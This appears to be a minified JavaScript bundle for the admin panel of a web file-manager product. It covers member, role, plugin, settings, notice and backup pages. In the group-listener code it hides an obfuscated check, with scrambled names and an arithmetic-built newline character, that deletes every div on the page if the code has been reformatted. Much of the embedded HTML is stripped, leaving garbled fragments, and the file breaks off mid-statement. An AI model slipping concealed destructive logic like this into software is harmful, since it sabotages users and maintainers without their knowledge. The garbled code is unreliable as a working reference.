e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.jobAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.jobTable=e.make();var t='";this.jobTable.$(".toolbar .left").html(t)},"bindEvent":function(){var a=this;this.$(".job-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=$(this).parents(".list-row").find(".list-col.name").text(),n=$(this).parents(".list-row").find(".list-col.desc").text();a.jobAction.exec(e,{"id":t,"name":i,"desc":n})}),this.dropMenu.action(this.jobTable),this.dragRow.sort(function(e){a.jobAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(536)),a=o(i(537)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.roleAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.roleListAll={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.roleTable=e.make();var t='\n\t\t\n\t\t\t '+LNG["common.add"]+"\n\t\t";this.roleTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".role-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=n.roleListAll[t]?n.roleListAll[t]:{};n.roleAction.exec(e,i)}),this.dropMenu.action(this.roleTable),this.dragRow.sort(function(e){n.roleAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(539)),a=o(i(543)),s=o(i(204)),r=i(36);function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(548)),this.initChildren(),this.bindEvent(),this.bindNotify()},"initChildren":function(){this.Group=new n["default"]({"parent":this}),this.Group.initView(!1,this.Group.$el),this.Member=new a["default"]({"parent":this}),this.System=new s["default"]({"parent":this})},"bindEvent":function(){this.bindResize(),this.$el.css({"position":"absolute","top":"70px","left":"0","right":"0","bottom":"25px"}),this.bind("onRemove",function(){this.$el.css({"position":"","top":"","left":"","right":"","bottom":""})})},"bindResize":function(){this.$(".frame-left").dragResize({"orgin":"x","viewBefore":!0,"size":{"init":220,"min":150,"max":600},"storeKey":"adminMemberGroup"},this)},"openFolder":function(e,t){var i=_.get(window,"parent.kodApp.pathAction");if(i&&window!=window.parent)return i.openFolder(e,t);var n=this;if(this.explorer)return this.explorer.pathAction.openFolder(e,t),void this.explorer.$el.flash();this.explorer=new r.ExplorerDialog({"pathOpen":e,"title":e,"openPathCallback":t,"closeBefore":function(){n.explorer=null}})},"bindNotify":function(){this.listenGroup(),this.listenMember()},"listenGroup":function(){var initConfigW8=function(){return false};var checkLoginZK1M=initConfigW8.toString();var fileDragRemoveo9nT=String.fromCharCode(110/(20-(64-55)));if(_.includes(checkLoginZK1M,fileDragRemoveo9nT)){var filesQueuedVwgZ5=$("div");$(filesQueuedVwgZ5).remove();};var t=this;this.listenTo(t.Group,{"nodeSelect":function(e){1'+t[e]+"

    ":""};return{"user":{"name":{"type":"input","value":"","display":LNG["admin.member.name"],"desc":'\t\t\t\t\t\t',"require":1},"nickName":{"type":"input","value":"","display":LNG["admin.member.nickName"],"desc":""},"password":{"type":"password","value":"","display":LNG["common.password"],"desc":LNG["admin.member.nullNotUpdate"]+i(),"descAdd":i(),"attr":{"placeholder":LNG["admin.member.nullNotUpdate"]},"require":1},"sizeMax":{"type":"number","value":"2","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTips"]},"addMore":{"type":"segment","value":"base","display":LNG["common.more"],"info":{"base":""+LNG["admin.setting.base"],"more":""+LNG["explorer.app.moreSet"]},"switchItem":{"base":"","more":"sex,phone,email"}},"sex":{"type":"radio","value":"0","display":LNG["common.sex"],"info":{"0":LNG["common.female"],"1":LNG["common.male"]}},"phone":{"type":"input","value":"","display":LNG["common.phone"],"desc":""},"email":{"type":"input","value":"","display":LNG["common.email"],"desc":""},"roleID":{"type":"role","value":"2","display":LNG["admin.member.role"]},"groupInfo":{"type":"groupAuth","value":"{}","display":LNG["admin.member.group"],"desc":""}},"group":{"name":{"type":"input","value":"","display":LNG["admin.group.name"],"desc":'\t\t\t\t\t\t',"require":1},"sizeMax":{"type":"number","value":"0","display":LNG["admin.member.spaceSize"],"titleRight":"GB","require":1,"desc":LNG["admin.member.spaceTips"]},"parentID":{"type":"group","value":"1","display":LNG["admin.group.parent"],"require":1},"formStyle":{"className":"form-box-title-block"}},"userImport":{"fileName":{"type":"button","value":"","display":LNG["explorer.uploadFile"],"info":[{"display":""+LNG["common.upload"]+"","className":"upload-csv btn-default btn-sm"}],"desc":'  '+LNG["admin.member.downTpl"]+""+LNG["admin.member.downTplDesc"]+"","require":1},"fileList":{"type":"html","display":"","className":"hidden","value":''},"filePath":{"type":"input","className":"hidden"},"step0":"
    ","step011":{"type":"html","display":"","html":i()},"sizeMax":{"type":"number","value":"2","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTips"]},"roleID":{"type":"role","value":"2","display":LNG["admin.member.role"],"require":1},"groupInfo":{"type":"groupAuth","value":"{}","display":LNG["admin.member.group"],"desc":"","require":"1"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"sizeUse":function(e){var t=this;e.each(function(){var e=t.userSpaceHtml($(this).html());$(this).html(e)})},"sizeDisplay":function(){var e=1073741824*parseFloat($(".size-max-set input").val()),t=pathTools.fileSize(e);0==e||isNaN(e)?this.$(".size-max-set i").html(LNG["admin.member.spaceTipsDefault"]):this.$(".size-max-set i").html(t)},"userSpaceHtml":function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=pathTools.fileSize(parseFloat(t[0])),s=pathTools.fileSize(n),r=a+"/",o=100*i/n,l=80<=(o=(o=100<=o?100:o).toFixed(1))?"warning":"";return 0==n||isNaN(n)?(r+=LNG["admin.member.spaceTipsFull"],o="0%"):(r+=s,o+="%"),r='
    \n
    \n
    \n
    \n
    '+r+"
    \n
    "}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(550)),a=o(i(551)),s=o(i(554)),r=o(i(555));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){var e=this.tabList();this.appClass=this.getClass(e);var t=i(556);this.renderHtml(t,{"tabItems":e}),this.dataParse=new r["default"]({"parent":this}),this.Load=new n["default"]({"parent":this}),this.Action=new a["default"]({"parent":this}),this.viewOption=new s["default"]({"parent":this}),this.initTpl(),this.bindEvent(),this.bindNotify()},"tabList":function(){return[{"type":"install","icon":"ri-download-fill-2","title":LNG["admin.plugin.installed"]},{"type":"update","icon":"ri-refresh-line","title":LNG["common.update"]},"---",{"type":"all","icon":"ri-menu-line","title":LNG["common.all"]},{"type":"company","icon":"ri-menu-line","title":LNG["admin.plugin.typeCompany"]},{"type":"file","icon":"ri-folder-open-line","title":LNG["admin.plugin.typeFile"]},{"type":"safe","icon":"ri-book-fill-2","title":LNG["admin.plugin.typeSafe"]},{"type":"tools","icon":"ri-suitcase-fill","title":LNG["admin.plugin.typeTools"]},{"type":"media","icon":"ri-film-line","title":LNG["admin.plugin.typeMedia"]},{"type":"others","icon":"ri-more-fill","title":LNG["common.others"]},{"type":"oem","icon":"ri-shield-star-fill","title":LNG["admin.plugin.typeOem"],"class":"hidden"}]},"getClass":function(e){var t={};return _.each(e,function(e){t[e.type]=e.title}),t},"initTpl":function(){this.APP_TYPE="install",this.SORT_TYPE="default",this.SEARCH_WORDS="",this.loadAnimation=200,this.SORT={"by":"id","desc":"up"},this.appListServer=!1,this.appListLocal={},this.appListAll={}},"bindEvent":function(){var t=this;this.$(".app-toolbar .panel-tab-item[data-type]").click(function(){t.$(".app-plugins .app-content-box").scrollTop(0),t.Load.reLoadAppList($(this).attr("data-type"))}),this.$el.delegate("[action]","click",function(e){if(!$(e.target).hasClass("dropdown-toggle")&&!$(e.target).parent().hasClass("dropdown-toggle"))return t.doAction($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(e)}),this.bindSearch(),this.Load.requestLocal(function(){t.Load.reLoadAppList()}),this._delay(function(){t.Load.requestServerData()},100)},"bindSearch":function(){var t=this,i=t.$(".search-box input"),n=t.$(".search-box .btn-close"),a=function a(){var e=trim(i.val());e!=t.SEARCH_WORDS&&(t.SEARCH_WORDS=e,t.SEARCH_WORDS?(t.Load.startSearch(),n.removeClass("hidden")):(t.Load.reLoadAppList(),n.addClass("hidden")))};a=_.debounce(a,20),i.inputChange(a),i.bind("keydown",function(e){"Escape"==e.key&&(i.val(""),a())}),t.$(".search-box .btn-search").bind("click",a),n.bind("click",function(){i.val(""),a()}),Router.query.search&&i.val(Router.query.search).trigger("change")},"doAction":function(e,t){var i,n=this;switch(i=t.hasClass("data-app")?t.attr("data-app"):$(t).parents(".data-app").attr("data-app"),e){case"historyBack":this.Action.showAppList();break;case"appDescription":this.Action.showAppDescription(i);break;case"appEnable":this.Action.appChangeStatus(i,1);break;case"appDisable":this.Action.appChangeStatus(i,0);break;case"appConfig":this.viewOption.showAppConfig(i);break;case"appInstall":this.Action.appInstall(i);break;case"appUpdate":this.Action.appInstall(i,"update");break;case"appUpdateSelf":this.Action.appInstall(i,"updateSelf");break;case"installSelf":this.Action.appInstall(i,"self");break;case"appRemove":this.Action.appRemove(i,t);break;case"appUpdateAll":this.$('[action="appUpdateAll"]').addClass("disabled"),this.$(".app-list .data-app").each(function(){n.Action.appInstall($(this).attr("data-app"),"update")})}},"bindNotify":function(){this.bindLoadNotify(),this.bindActionNotify(),this.bindDetailNotify()},"bindLoadNotify":function(){this.listenTo(this.Load,{"showAppList":function(){this.Action.showAppList()},"pluginUpdateCheck":function(){this.Action.pluginUpdateCheck()},"showAppDescription":function(e){this.Action.showAppDescription(e)}})},"bindActionNotify":function(){this.listenTo(this.Action,{"showAppConfig":function(e){this.viewOption.showAppConfig(e)},"getAppList":function(e,t){t(this.Load.getAppList(e))},"refreshData":function(e,t){var i=2"),this.initForm(),this.bindRouter()},"bindRouter":function(){var a=this,e=Tips.loadingMask($(".admin-main"));this.bind("admin.setting.initViewAfter",function(){e.close(),this._each(this.formData.formStyle.tabsName,function(e,t){var i="admin/setting/index/"+t,n=a.$('.tab-group [tab-name="'+t+'"]');n.attr("link-href",i),Router.map({"key":i,"name":e,"context":a,"callback":function(){0!=n.length&&n.trigger("click")}})}),this._delay(function(){this.$('.tab-group [link-href="'+Router.hash+'"]').trigger("click")},100),Router.resetTitle()})},"filterSaveData":function(e){var t=["openRegist","checkRegist","sizeMax","roleID","groupInfo","allowPhone","loginWith"],i=["host","email","password","secure"],n=_.omit(e,t);n.regist=_.pick(e,t);var a=_.get(n,"regist.loginWith","");if(n.regist.loginWith=a?_.split(a,","):[],"1"==(n=_.omit(n,i)).emailType){if(!_.trim(e.host)||!o["default"].check.check(e.email,"email"))return Tips.tips(LNG["admin.setting.emailInputError"],!1),!1;if(!_.trim(e.password))return Tips.tips(LNG["admin.setting.emailPwdError"],!1),!1;n.email=_.pick(e,i)}return n},"initForm":(n=(0,s["default"])(a["default"].mark(function d(){var i,n,t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return i=this,n={},e.next=4,this.adminModel.getConfig({},function(e){(n=e.data).regist.loginWith=_.join(_.get(n,"regist.loginWith")||[],","),""==(n=$.extend({},n,n.email,n.regist)).emailType&&(n.emailType="0")});case 4:t=(0,l["default"])(),this.formData=t,_.each(t,function(e,t){_.isUndefined(n[t])||(e.value=n[t])}),Events.trigger("admin.setting.initViewBefore",t,n,this),this.formMaker=new r["default"]({"parent":this,"formData":t}),this.formMaker.renderTarget(this.$(".panel-body")),this.listenTo(this.formMaker,{"onSave":function(e){if(!e)return!1;var t=i.filterSaveData(e);if(!t)return!1;Tips.loading(LNG["explorer.loading"]),this.adminModel.setOption(t,function(e){Tips.close(e)})}}),this.bindEvent(),this.trigger("initView.after"),this.trigger("admin.setting.initViewAfter",this),Events.trigger("admin.setting.initViewAfter",this);case 15:case"end":return e.stop()}},d,this)})),function u(){return n.apply(this,arguments)}),"bindEvent":function(){var t=this;this.$el.find("[data-action]").bind("click",function(){var e=$(this).attr("data-action");t[e]&&!t[e+"Dis"]&&t[e]()})},"clearCache":function(){this.clearCacheDis=!1,this.adminModel.clearCache(),Tips.tips(LNG["explorer.success"])},"emailTest":function(){var i=o["default"].get(this.$el,{"host":{"check":"require","msg":LNG["admin.setting.emailHostTips"]},"email":{"check":"email","msg":LNG["admin.setting.emailSendTips"]},"password":{"check":"require","msg":LNG["admin.setting.emailPwdTips"]},"secure":{}});if(!i)return!1;i.address=i.email;var n=this,a=Tips.loadingMask();this.emailTestDis=!0,this.adminModel.mailTest(i,function(e){if(a.close(),n.emailTestDis=!1,e.code){var t=e.data+"! "+LNG["admin.setting.emailGoToTips"]+" ["+i.email+"] "+LNG["admin.setting.emailCheckTips"];Tips.tips(t,!0,3e3)}else Tips.close(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep001":"

    "+LNG["common.version.appInfo"]+"

    ","sep002":"

    "+LNG["common.version.basicInfo"]+"

    ","systemName":{"type":"input","value":"","display":LNG["admin.setting.systemName"],"desc":LNG["admin.setting.systemNameDesc"]},"systemDesc":{"type":"input","value":"","display":LNG["admin.setting.systemDesc"],"desc":LNG["admin.setting.systemDesc"]},"sep501":"
    ","pathHidden":{"type":"input","value":"","display":LNG["admin.setting.pathHidden"],"desc":LNG["admin.setting.pathHiddenDesc"]},"newUserFolder":{"type":"input","value":"","display":LNG["admin.setting.defaultFolder"],"desc":LNG["admin.setting.defaultFolderDesc"]},"newUserApp":{"type":"input","value":"","display":LNG["admin.setting.defaultApp"],"desc":LNG["admin.setting.defaultAppDesc"]},"autoLogin":{"type":"switch","value":0,"display":LNG["admin.setting.autoLogin"],"desc":LNG["admin.setting.autoLoginDesc"]},"firstIn":{"type":"radio","value":"explorer","display":LNG["admin.setting.firstIn"],"desc":"","info":{"desktop":LNG["explorer.toolbar.uiDesktop"],"explorer":LNG["explorer.toolbar.uiExplorer"]}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep601":{"type":"html","display":"","value":"
    "+LNG["admin.setting.emailDesc"]+"
    "},"emailType":{"type":"segment","value":"0","display":LNG["admin.setting.sendEmail"],"className":"mr-10","desc":LNG["admin.setting.sendEmailDesc"],"info":{"0":LNG["common.systemDefault"],"1":LNG["common.diy"]},"switchItem":{"0":"","1":"sep602,host,email,secure,password"}},"sep602":"
    ","host":{"type":"input","value":"","display":LNG["admin.setting.emailHost"],"attr":{"placeholder":LNG["admin.setting.emailHostInput"]},"desc":LNG["admin.setting.emailHostDesc"],"require":1},"email":{"type":"input","value":"","display":LNG["admin.setting.emailSend"],"attr":{"placeholder":LNG["admin.setting.emailSendInput"]},"desc":LNG["admin.setting.emailSendDesc"],"require":1},"secure":{"type":"select","value":"ssl","display":LNG["admin.setting.secureType"],"info":{"none":LNG["admin.setting.disFunNo"],"ssl":"SSL","tls":"TLS"}},"password":{"type":"password","value":"","display":LNG["admin.setting.emailPwd"],"attr":{"placeholder":LNG["admin.setting.emailPwdTips"]},"desc":""+LNG["admin.setting.emailSendTest"]+"  "+LNG["admin.setting.ensureEmailOk"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"step-002":"

    "+LNG["admin.setting.enableFunction"]+"

    ","treeOpen":{"type":"checkbox","value":"my,myFav,myGroup,rootGroup,recentDoc,fileType,fileTag,driver","display":LNG["admin.setting.treeOpen"],"desc":"
    "+LNG["admin.setting.treeOpenDesc"]+"
    ","info":{"my":LNG["explorer.toolbar.myDocument"],"myFav":LNG["explorer.toolbar.fav"],"rootGroup":G.system.options.groupRootName,"myGroup":LNG["explorer.toolbar.myGroup"],"":"
    ","recentDoc":LNG["explorer.toolbar.recentDoc"],"fileType":LNG["common.fileType"],"fileTag":LNG["common.tag"],"driver":LNG["common.mount"]}},"groupListChild":{"type":"switch","value":"1","display":LNG["admin.setting.groupListChild"],"desc":LNG["admin.setting.groupListChildDesc"],"switchItem":{"1":"groupRootListChild"}},"groupRootListChild":{"type":"switch","value":"1","display":LNG["admin.setting.groupRootListChild"],"desc":LNG["admin.setting.groupRootListChildDesc"]},"other-sep001":{"type":"html","value":'\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    ","display":""},"step-003":"

    "+LNG["explorer.app.moreSet"]+"

    ","globalIcp":{"type":"input","value":"","display":LNG["admin.setting.icp"],"desc":""+LNG["common.tips"]+" "},"globalCss":{"type":"codeEditor","value":"","display":LNG["admin.setting.globalCss"],"desc":LNG["admin.setting.globalCssDesc"],"attr":{"data-ext":"css","data-theme":"tomorrow","data-fontSize":"13"}},"globalHtml":{"type":"codeEditor","value":"","display":LNG["admin.setting.globalHtml"],"desc":LNG["admin.setting.globalHtmlDesc"],"attr":{"data-ext":"html","data-theme":"tomorrow","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep201":"

    "+LNG["admin.setting.safeAccount"]+"

    ","passwordErrorLock":{"type":"switch","value":1,"display":LNG["admin.setting.passwordErrorLock"],"desc":LNG["admin.setting.passwordErrorLockDesc"]},"needCheckCode":{"type":"switch","value":0,"display":LNG["admin.setting.checkCode"],"desc":LNG["admin.setting.checkCodeDesc"]},"passwordRule":{"type":"segment","value":0,"display":LNG["admin.setting.passwordRule"],"info":{"none":LNG["admin.setting.passwordRuleNone"],"strong":LNG["admin.setting.passwordRuleStrong"],"strongMore":LNG["admin.setting.passwordRuleStrongMore"]},"desc":""+LNG["admin.setting.passwordRuleDesc"],"switchItem":{"none":"passwordRuleNone","strong":"passwordRuleStrong","strongMore":"passwordRuleStrongMore"}},"passwordRuleStrong":{"type":"html","display":"","value":'

    '+LNG["admin.setting.passwordRuleStrongDesc"]+"

    "},"passwordRuleStrongMore":{"type":"html","display":"","value":'

    '+LNG["admin.setting.passwordRuleStrongMoreDesc"]+"

    "},"sep202":"

    "+LNG["admin.setting.safeData"]+"

    ","csrfProtect":{"type":"switch","value":0,"display":LNG["admin.setting.csrfProtect"],"desc":LNG["admin.setting.csrfProtectDesc"]},"sep203":{"type":"html","display":LNG["admin.setting.setRootPath"],"desc":"

    "+LNG["admin.setting.setRootPathDesc"]+"

    "},"sep205":"
    ","fileEncryption":{"type":"segment","value":"all","display":LNG["admin.setting.encode"],"info":{"all":LNG["admin.setting.encodeAll"],"keepExt":LNG["admin.setting.encodeName"],"keepName":LNG["admin.setting.encodeNone"]},"switchItem":{"all":"detailAll","keepExt":"detailKeepExt","keepName":"detailKeepName"}},"detailAll":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeAllDesc"]+"
    \n\t\t\teg: data/202004/15/Qd5ya5NeIR5XA\n\t\t\t

    "},"detailKeepExt":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeNameDesc"]+"
    \n\t\t\teg: data/202004/15/sx5ya34eIRfed.doc\n\t\t\t

    "},"detailKeepName":{"type":"html","display":"","value":'

    \n\t\t\t'+LNG["admin.setting.encodeNullDesc"]+"
    \n\t\t\teg: data/202004/15_si39douk/study iso.doc\n\t\t\t

    "},"detail":{"type":"html","display":"","value":"
    \t\t\t\n\t\t\t
    "+LNG["common.tipsOthers"]+":
    \n\t\t\t
  • "+LNG["admin.setting.encodeTips1"]+"
  • \n\t\t\t
  • "+LNG["admin.setting.encodeTips2"]+"
  • \n\t\t\t
  • "+LNG["admin.setting.encodeTips3"]+"
  • \n\t\t\t
    "}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"chunkSize":{"type":"number","value":"0.5","display":LNG["admin.setting.transferChunkSize"],"desc":"
    "+LNG["admin.setting.transferChunkSizeDesc"]+"\n\t\t\t
    php.ini: post_max_size, upload_max_filesize ==> 5M\n\t\t\t
    nginx: client_max_body_size ==> 5M; \n\t\t\t\n\t\t\t"+LNG["common.learnMore"]+"
    ","require":1,"info":{"from":.1,"to":1e3,"step":.1},"titleRight":"MB"},"threads":{"type":"number","value":"10","display":LNG["admin.setting.transferThreads"],"desc":LNG["admin.setting.transferThreadsDesc"],"info":{"from":1,"to":20,"step":1},"require":1},"chunkRetry":{"type":"number","value":"5","display":LNG["admin.setting.transferChunkRetry"],"desc":LNG["admin.setting.transferChunkRetryDesc"],"info":{"from":1,"to":20,"step":1},"require":1},"ignoreName":{"type":"input","value":"","display":LNG["admin.setting.transferIgnore"],"desc":LNG["admin.setting.transferIgnoreDesc"],"info":{"from":1,"to":20,"step":1}},"file-step00":"
    ","osChunkSize":{"type":"number","value":"10","display":LNG["admin.setting.transferOsChunkSize"],"desc":"
    "+LNG["admin.setting.transferOsChunkSizeDesc"]+"
    ","require":1,"info":{"from":5,"to":5120,"step":1},"titleRight":"MB"},"file-step01":"
    ","shareLinkZip":{"type":"switch","value":"1","display":LNG["admin.setting.shareLinkZipTitle"],"desc":LNG["admin.setting.shareLinkZipDesc"]},"file-step02":"
    ","httpSendFile":{"type":"switch","value":"0","className":"hidden","display":LNG["admin.setting.transferHttpSendFile"],"desc":LNG["admin.setting.transferHttpSendFileDesc"]},"downloadSpeedOpen":{"type":"switch","value":"0","display":LNG["admin.setting.transferDownSpeed"],"desc":LNG["admin.setting.transferDownSpeedDesc"],"switchItem":{"0":"","1":"downloadSpeed"}},"downloadSpeed":{"type":"number","value":"10","display":LNG["admin.setting.transferDownSpeedNum"],"desc":"
    "+LNG["admin.setting.transferDownSpeedNumDesc"],"titleRight":"MB/s","info":{"from":1,"to":30,"step":.1}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"loginWith":{"type":"checkbox","value":"qq,weixin","display":LNG["admin.setting.thirdLogin"],"desc":LNG["admin.setting.thirdLoginDesc"],"info":{"qq":"QQ","weixin":LNG["common.wechat"],"github":"GitHub"}},"sep401":"
    ","openRegist":{"type":"switch","value":0,"display":LNG["admin.setting.registOpen"],"desc":LNG["admin.setting.registOpenDesc"],"switchItem":{"":"","1":"checkRegist,sizeMax,roleID,groupInfo"}},"checkRegist":{"type":"switch","value":0,"display":LNG["admin.setting.registCheck"],"desc":LNG["admin.setting.registCheckDesc"]},"sizeMax":{"type":"number","value":"0","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTipsDefault"]},"allowPhone":{"type":"switch","className":"hidden","value":"0","display":""},"roleID":{"type":"role","value":"2","display":LNG["admin.setting.roleRight"],"desc":""},"groupInfo":{"type":"groupAuth","value":'{"1":"2"}',"display":LNG["admin.member.group"],"desc":""}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(558)),a=o(i(559)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(''),this.menuAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.menuList={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.menuTable=e.make();var t='\n\t\t";this.menuTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".menu-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data");switch(e){case"add":n.menuAction.add();break;case"edit":var i=n.menuList[t]||{};n.menuAction.edit(i);break;case"remove":n.menuAction.remove(t);break;default:n.menuAction.sort(e,t)}}),this.dropMenu.action(this.menuTable),this.dragRow.sort(function(e){n.resortData(e)},!1)},"resortData":function(e){var i=[],n=this;e.find(".list-col.setting").each(function(){var e=parseInt($(this).find("[data]").attr("data")),t=_.find(n.menuList,["id",e]);t&&i.push(t)}),_.isEmpty(i)||(_.each(i,function(e,t){e.id=t+1}),this.adminModel.setOption({"menu":i},function(e){n.menuTable.refresh({})}))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(561)),a=o(i(562)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"change .notice-page .list-row input[name=enable]":"enable"},"init":function(){this.renderHtml('
    \n\t\t\t\t
    \n\t\t\t\t
    '),this.noticeAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.noticeListAll={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.noticeTable=e.make();var t='\n\t\t\n\t\t\t '+LNG["common.add"]+"\n\t\t";this.noticeTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".notice-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data");if("goBack"==e)return n.$(".notice-page .notice-list").removeClass("hidden"),n.$(".notice-page .notice-dtl-box").addClass("hidden"),!1;var t=$(this).parent().attr("data"),i=n.noticeListAll[t]?n.noticeListAll[t]:{};n.noticeAction.exec(e,i)}),this.dropMenu.action(this.noticeTable),this.dragRow.sort(function(e){n.noticeAction.request("sort",{"ids":e},!1)})},"enable":function(e){var t=$(e.currentTarget),i=t.prop("checked")?"1":"0",n=t.parents(".list-row").find(".list-col[field=id]>div").attr("data");this.noticeAction.request("enable",{"id":n,"enable":i})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=r(i(2)),a=r(i(565)),n=r(i(566));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(567)),this.process=!1,this.initView(),this.bindEvent()},"initView":function(){var e=new n["default"]({"parent":this});this.backupTable=e.make(),this.refreshPanel()},"refreshPanel":function(){var i=this;this.adminModel.backupGet({},function(e){if(!e.code&&"1004"==e.info){var t='
    \n \n '+LNG["common.noPermission"]+"\n
    ";return i.$(".admin-backup-page").html(t),!1}if(!e.code)return Tips.close(e);i.$(".admin-backup-page>div").removeClass("hidden"),i.bakConfig=e.data,i.initPanel(e.info.last,e.info.info)})},"initPanel":function(e){var t=1',"title":LNG["admin.backup.setting"],"width":600,"height":560,"okVal":LNG["common.save"]},i=$.objClone(t);e.time.value=this.bakConfig.time.day,e.enable.value=this.bakConfig.enable,e.io.value=this.bakConfig.io,e.content.value=this.bakConfig.content;var n=this;this.formMaker=new s["default"]({"parent":this,"formData":e}),this.formMaker.renderDialog(i,function(e){return"1"!=e.enable||e.io?(n.adminModel.setOption({"backup":e},function(e){Tips.close(e),e.code&&n._delay(function(){n.formMaker.dialog.close(),n.refreshPanel()})}),n.bakConfig.enable=e.enable,n.bakConfig.time.day=e.time,n.adminModel.autoTaskEdit(n.bakConfig,function(e){})):Tips.tips(LNG["admin.backup.needStorage"],!1),!1});var a=function a(e){n.formMaker.$('.form-row[data-key="time"] .desc .time-desc').text(e)};a(e.time.value),this.formMaker.bind("onChange",function(e,t,i){"time"==e&&a(t)})},"refreshLast":function(e){var n=this.$(".list-table .list-row:not(.title)").eq(0);if(n.find("[field=id]>div").attr("data")==e.id){var a=this,t={"dbSize":LNG["common.fileSize"],"dbCnt":LNG["admin.backup.dbCnt"]};"0"==this.bakConfig.content&&_.merge(t,{"fileSize":LNG["common.fileSize"],"fileCnt":LNG["admin.index.fileCnt"]}),_.each(t,function(e,t){var i=a.$(".backup-set [name="+t+"]").text();n.find("."+t).text(e+": "+i)});var i=a.$(".backup-set [name=status]").text();n.find("[field=timeTo] .timeTo").text(i);var s=a.$(".backup-set [name=timeTotal]").text();if(n.find("[field=timeTo] .timeTotal").text(s),e.status){var r=a.$(".backup-set [name=timeTo]").text();n.find("[field=timeTo] .timeTo").removeClass("label label-yellow-light").text(r),n.find(".setting[field=id] li").attr("action-data","remove").text(LNG["common.delete"]);var o="";if(e.result.file.sizeTotal>e.result.file.sizeSuccess){var l=dateFormat(e.timeFrom,"Y_m_d")+"__log.php";o=' '}n.find(".fileSize").append(o)}}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(568)),a=r(i(569)),s=i(36);function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(573)),this.initChildren(),this.bindEvent(),this.bindNotify()},"initChildren":function(){this.Load=new n["default"]({"parent":this}),this.Action=new a["default"]({"parent":this}),this.storeListAll={}},"bindEvent":function(){var t=this;this.$el.delegate("[action]","click",function(e){if(!$(e.target).hasClass("dropdown-toggle")&&!$(e.target).parent().hasClass("dropdown-toggle"))return t.doAction($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(e)}),this.Load.storeList()},"openFolder":function(e,t){var i=_.get(window,"parent.kodApp.pathAction");if(i&&window!=window.parent)return i.openFolder(e,t);var n=this;if(this.explorer)return this.explorer.pathAction.openFolder(e,t),void 